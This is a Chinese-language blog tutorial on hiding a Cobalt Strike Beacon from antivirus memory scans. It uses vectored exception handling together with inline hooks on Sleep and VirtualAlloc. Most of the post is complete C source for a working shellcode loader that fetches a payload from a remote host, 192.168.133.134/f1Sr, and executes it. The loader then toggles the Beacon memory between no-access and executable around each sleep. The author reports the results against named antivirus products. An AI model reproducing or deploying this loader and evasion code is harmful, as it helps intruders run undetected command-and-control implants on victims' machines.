WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

VEH异常处理动态免杀

0x01 介绍

VEH全称(Vectored Exception Handling),中文名向量异常处理

try_except是SEH,中文名结构化异常处理

不用管这么多,就是异常处理

VEH的优先级比SEH高,简单来说就是程序执行的时候报错了如果设置了异常处理那就会走到里面去

这个免杀的思路就是创建一个线程在shell Sleep的时候将Beacon的内存改为不可执行,在shell醒来的时候去执行这块内存就会报错,因为设置了VEH就会走到VEH里面,VEH将这块内存的属性加上可执行,然后shell在继续去执行就不会报错了,执行完之后shell又去Sleep了,线程继续修改内存属性为不可执行,循环往复

这样在shell Sleep的时候Beacon是不可执行的,有些杀软可能就不会去扫描这块内存了,达到了规避的效果

0x02 函数介绍

AddVectoredExceptionHandler

1
2
3
4
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);

添加VEH,简单说就是指定报错后处理的函数

First 这个参数好像是确定调用优先级的,这次用不到

Handler 异常处理的函数指针,这个函数也是有指定结构的

PVECTORED_EXCEPTION_HANDLER

1
2
3
4
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS Exception) 
{

}

PEXCEPTION_POINTERS是指向EXCEPTION_POINTERS结构的指针

EXCEPTION_POINTERS里面东西挺多的,报错的时候寄存器的值啊错误码啊什么的,用到什么再写什么吧

CreateEventA

1
2
3
4
5
6
HANDLE CreateEventA(
[in, optional] LPSECURITY_ATTRIBUTES lpEventAttributes,
[in] BOOL bManualReset,
[in] BOOL bInitialState,
[in, optional] LPCSTR lpName
);

创建或打开事件对象

lpEventAttributes 指向SECURITY_ATTRIBUTES结构的指针。如果此参数为NULL,则句柄不能被子进程继承。

bManualReset 如果该参数为TRUE则创建的是一个手动重置的事件对象,需要用ResetEvent设置为信号状态,如果该参数为FALSE则会创建一个自动重置的事件对象,在单个线程被释放后自动将事件状态重置为非信号状态

bInitialState 如果此参数为TRUE则表示该事件对象的信号状态,FALSE则为非信号状态

lpName 该事件对象的名字,为NULL则代表该事件对象没有名字

SetEvent

1
2
3
BOOL SetEvent(
[in] HANDLE hEvent
);

将事件对象设置为信号状态

hEvent 事件对象的句柄

ResetEvent

1
2
3
BOOL ResetEvent(
[in] HANDLE hEvent
);

将事件对象设置为非信号状态

hEvent 事件对象的句柄

信号状态和非信号状态

这里提到了信号状态和非信号状态,我的理解就是像开关一样,因为在前面说过需要创建一个线程让shell在Sleep的时候将Beacon的内存改为不可执行

这个线程需要while循环一直改,可是又不能一直改,正在执行的时候要是改了内存属性那程序就崩溃了

稍微来看一点代码,完整的代码会在后面说

1
2
3
4
5
6
7
8
VOID WINAPI NewSleep(DWORD dwMilliseconds)
{
printf("Sleep:%d\n", dwMilliseconds);
UnHookSleep();
Sleep(dwMilliseconds);
HookSleep();
SetEvent(hEvent);
}

这个方法需要Hook Sleep函数,这是新写的Sleep函数,在Hook后会跳到这里来执行

注意这里已经被Hook了,所以新Sleep函数需要先UnHook,然后再执行正常的Sleep函数

最后再把SleepHook起来

最后将事件对象设置为信号状态

来看一下设置属性的函数

1
2
3
4
5
6
7
8
9
10
DWORD WINAPI SetProtect(LPVOID lpPatameter) 
{
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
VirtualProtect(BASE_ADDRESS, dwSize_Gloab, PAGE_NOACCESS, &Beacon_Protect);
ResetEvent(hEvent);
}
return 0;
}

WaitForSingleObject要等到hEvent为信号状态了然后再去改属性

修改完成后ResetEvent将属性设置为非信号状态

下一次循环的时候就卡在WaitForSingleObject这里了,需要Sleep函数结束将信号将事件对象改为信号状态了再修改属性,这样就不会一直在循环了

0x03 代码实现

Hook

首先需要Hook VirtuaAlloc和Sleep函数

Hook VirtualAlloc是因为需要知道起始的内存位置和内存大小是多少,这样后面修改内存属性的时候不会找不到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
VOID HookVirtualAlloc()
{
DWORD OldVirtualAllocProtect = NULL;
BYTE pVirtualAllocData[5] = { 0xe9, 0, 0, 0, 0 };
RtlCopyMemory(OldVirtualAllocData, OldVirtualAlloc, sizeof(OldVirtualAllocData));
DWORD VirtualAllocOffest = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
RtlCopyMemory(&pVirtualAllocData[1], &VirtualAllocOffest, sizeof(pVirtualAllocData));
VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &OldVirtualAllocProtect);
RtlCopyMemory(OldVirtualAlloc, pVirtualAllocData, sizeof(pVirtualAllocData));
VirtualProtect(OldVirtualAlloc, 5, OldVirtualAllocProtect, &OldVirtualAllocProtect);
}

VOID UnHookVirtualAlloc()
{
DWORD OldVirtualAllocProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &OldVirtualAllocProtect);
RtlCopyMemory(OldVirtualAlloc, OldVirtualAllocData, sizeof(OldVirtualAllocData));
VirtualProtect(OldVirtualAlloc, 5, OldVirtualAllocProtect, &OldVirtualAllocProtect);
}

关于Hook可以看InlineHook那篇文章,因为这里是32位的所以只需要修改五个字节

E9是jmp的硬编码,后面四字节是跳转到新的函数指针

这里就不多讲关于Hook的知识了

调用了三次复制

  1. 将原先的字节读取出来,方便后面恢复
  2. 将新的函数指针存入pVirtualAllocData数组的后四位
  3. 将pVirtualAllocData覆盖到需要Hook的函数的起始位置

这样调用这个函数的时候就会跳到新的函数的位置

VirtualProtect就是修改dll那块属性加上可写,不然覆盖不了

UnHookVirtualAlloc就是把原先的字节覆盖回来就好了

Hook Sleep同理在后面的全部代码里面贴出来

NewSleep和NewVirtualAlloc

1
2
3
4
5
6
7
8
VOID WINAPI NewSleep(DWORD dwMilliseconds)
{
printf("Sleep:%d\n", dwMilliseconds);
UnHookSleep();
Sleep(dwMilliseconds);
HookSleep();
SetEvent(hEvent);
}

UnHook然后正常执行Sleep最后在Hook起来把事件对象设置为信号状态

1
2
3
4
5
6
7
8
9
10
11
12
13
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect)
{
UnHookVirtualAlloc();
BASE_ADDRESS = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
dwSize_Gloab = dwSize;

HookVirtualAlloc();
return BASE_ADDRESS;

}

相同的也是UnHook然后执行正常的VirtualAlloc将内存的地址和大小保存到一个全局变量,最后再Hook起来,返回申请到的内存地址

VEH 异常处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BOOL is_Exception(DWORD Except_EIP) 
{
if (Except_EIP < ((DWORD)BASE_ADDRESS + dwSize_Gloab) && Except_EIP >= (DWORD)BASE_ADDRESS)
{
printf("地址符合:%x\n", Except_EIP);
return true;
}
printf("地址不符合:%x\n", Except_EIP);
return false;
}

LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS Exception)
{

if (Exception->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(Exception->ContextRecord->Eip))
{
VirtualProtect(BASE_ADDRESS, dwSize_Gloab, PAGE_EXECUTE_READWRITE, &Beacon_Protect);
return EXCEPTION_CONTINUE_EXECUTION;
}

return EXCEPTION_CONTINUE_SEARCH;
}

如果内存不可执行再执行的话就会报出0xc0000005错误码,可以通过Exception->ExceptionRecord->ExceptionCode得到错误码来判断是否是因为无可执行属性报的错

is_Exception是判断报错的位置是否在申请的内存中,在的话就把这块内存加上可执行的属性

远程加载

1
2
3
4
5
6
7
HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET con = InternetConnectA(Session, "192.168.133.134", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
HINTERNET Http = HttpOpenRequestA(con, "GET", "/f1Sr", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
HttpSendRequest(Http, NULL, NULL, NULL, NULL);
LPVOID a = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
DWORD dwRealWord;
BOOL response = InternetReadFile(Http, a, 0x400000, &dwRealWord);

这里首先会加载一个0x400000的shellcode然后会加载一个0x3d000的Beacon,后面操作都是会Beacon里面执行

在NewVirtualAlloc打印一下就可以看到了,打印用了之后会报毒所以就删了,估计是被当成特征码了

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include<Windows.h>
#include<stdio.h>
#include<wininet.h>
#pragma comment (lib, "wininet.lib")


LPVOID OldSleep = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Sleep");
LPVOID OldVirtualAlloc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");

CHAR OldSleepData[5] = { 0 };
CHAR OldVirtualAllocData[5] = { 0 };
DWORD Beacon_Protect = 0;
HANDLE hEvent;
LPVOID BASE_ADDRESS;
SIZE_T dwSize_Gloab;

void HookSleep();
VOID UnHookSleep();
VOID HookVirtualAlloc();
VOID UnHookVirtualAlloc();

VOID WINAPI NewSleep(DWORD dwMilliseconds)
{
printf("Sleep:%d\n", dwMilliseconds);
UnHookSleep();
Sleep(dwMilliseconds);
HookSleep();
SetEvent(hEvent);
}

LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect)
{
UnHookVirtualAlloc();
BASE_ADDRESS = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
dwSize_Gloab = dwSize;

HookVirtualAlloc();
return BASE_ADDRESS;

}

void HookSleep()
{
DWORD OldSleepProtect = NULL;
BYTE pSleepData[5] = { 0xe9, 0, 0, 0, 0};
//保存Sleep原先编码
RtlCopyMemory(OldSleepData, OldSleep, sizeof(OldSleepData));
//偏移
DWORD SleepOffest = (DWORD)NewSleep - (DWORD)OldSleep - 5;
//指定jmp地址
RtlCopyMemory(&pSleepData[1], &SleepOffest, sizeof(pSleepData));
//修改内存属性可写,保存原先内存属性到OldSleepProtect
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &OldSleepProtect);
//修改完的pSleepData覆盖掉原始的Sleep
RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));
//修改为原先的内存属性
VirtualProtect(OldSleep, 5, OldSleepProtect, &OldSleepProtect);
}

VOID UnHookSleep()
{
DWORD OldSleepProtect = NULL;
VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &OldSleepProtect);
RtlCopyMemory(OldSleep, OldSleepData, sizeof(OldSleepData));
VirtualProtect(OldSleep, 5, OldSleepProtect, &OldSleepProtect);
}

VOID HookVirtualAlloc()
{
DWORD OldVirtualAllocProtect = NULL;
BYTE pVirtualAllocData[5] = { 0xe9, 0, 0, 0, 0 };
RtlCopyMemory(OldVirtualAllocData, OldVirtualAlloc, sizeof(OldVirtualAllocData));
DWORD VirtualAllocOffest = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
RtlCopyMemory(&pVirtualAllocData[1], &VirtualAllocOffest, sizeof(pVirtualAllocData));
VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &OldVirtualAllocProtect);
RtlCopyMemory(OldVirtualAlloc, pVirtualAllocData, sizeof(pVirtualAllocData));
VirtualProtect(OldVirtualAlloc, 5, OldVirtualAllocProtect, &OldVirtualAllocProtect);
}

VOID UnHookVirtualAlloc()
{
DWORD OldVirtualAllocProtect = NULL;
VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &OldVirtualAllocProtect);
RtlCopyMemory(OldVirtualAlloc, OldVirtualAllocData, sizeof(OldVirtualAllocData));
VirtualProtect(OldVirtualAlloc, 5, OldVirtualAllocProtect, &OldVirtualAllocProtect);
}

BOOL is_Exception(DWORD Except_EIP)
{
if (Except_EIP < ((DWORD)BASE_ADDRESS + dwSize_Gloab) && Except_EIP >= (DWORD)BASE_ADDRESS)
{
printf("地址符合:%x\n", Except_EIP);
return true;
}
printf("地址不符合:%x\n", Except_EIP);
return false;
}

LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS Exception)
{

if (Exception->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(Exception->ContextRecord->Eip))
{
VirtualProtect(BASE_ADDRESS, dwSize_Gloab, PAGE_EXECUTE_READWRITE, &Beacon_Protect);
return EXCEPTION_CONTINUE_EXECUTION;
}

return EXCEPTION_CONTINUE_SEARCH;
}


DWORD WINAPI SetProtect(LPVOID lpPatameter)
{
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
VirtualProtect(BASE_ADDRESS, dwSize_Gloab, PAGE_NOACCESS, &Beacon_Protect);
ResetEvent(hEvent);
}
return 0;
}

int main()
{
hEvent = CreateEvent(NULL, TRUE, false, NULL);
//创建一个事件对象
AddVectoredExceptionHandler(1, &VectoredExceptionHandler);
//创建VEH异常处理函数
HookVirtualAlloc();
//HookVirtualAlloc
HookSleep();
//HookSleep
HANDLE Thread = CreateThread(NULL, 0, SetProtect, NULL, 0, NULL);
CloseHandle(Thread);
//创建一个修改内存属性的线程,这里关闭据句柄不代表删除线程

HINTERNET Session = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET con = InternetConnectA(Session, "192.168.133.134", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
HINTERNET Http = HttpOpenRequestA(con, "GET", "/f1Sr", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
HttpSendRequest(Http, NULL, NULL, NULL, NULL);
LPVOID a = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
DWORD dwRealWord;
BOOL response = InternetReadFile(Http, a, 0x400000, &dwRealWord);

((void(*)())a)();
//远程加载后执行
}

0x04 x64

64位除了指针大小和Hook方式不太一样别的基本相同

1
2
mov rax, address
jmp rax

64位不能直接jmp所以不需要偏移

代码放github上吧,贴这里就有点不清楚了

https://github.com/Macchiatosheep/VEH_SC

0x05 总结

这咋说呢,最近windows defender好强,这方法也只能勉强上线,有时候还会被杀,一有点敏感动作就直接被干掉,卡巴也是可以上线不过有动作就被干掉

然后国内的杀软根本不来整内存,感觉国内的杀软和国外的就不是一个档次的,拿这种免杀国内的又有点…

反正就是不上不下的,国内基本都能过,国外一个都过不了的感觉

差不多就是这种状态我现在

然后这也有点小瑕疵,因为有别的动作的时候又会开内存,导致原先Beacon的内存位置被覆盖掉然后is_Exception会出现问题

感觉CS的真的也差不多了,除非二开不然光用代码已经很难过动态了

学这些的话如果以后真的要写C2的话帮助应该很大

0x06 参考

https://xz.aliyun.com/t/9399